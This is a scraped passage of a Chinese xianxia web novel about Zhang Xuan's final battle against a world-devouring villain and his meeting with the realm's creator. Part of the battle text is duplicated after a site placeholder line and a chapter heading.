这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十五章 别心疼银子 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 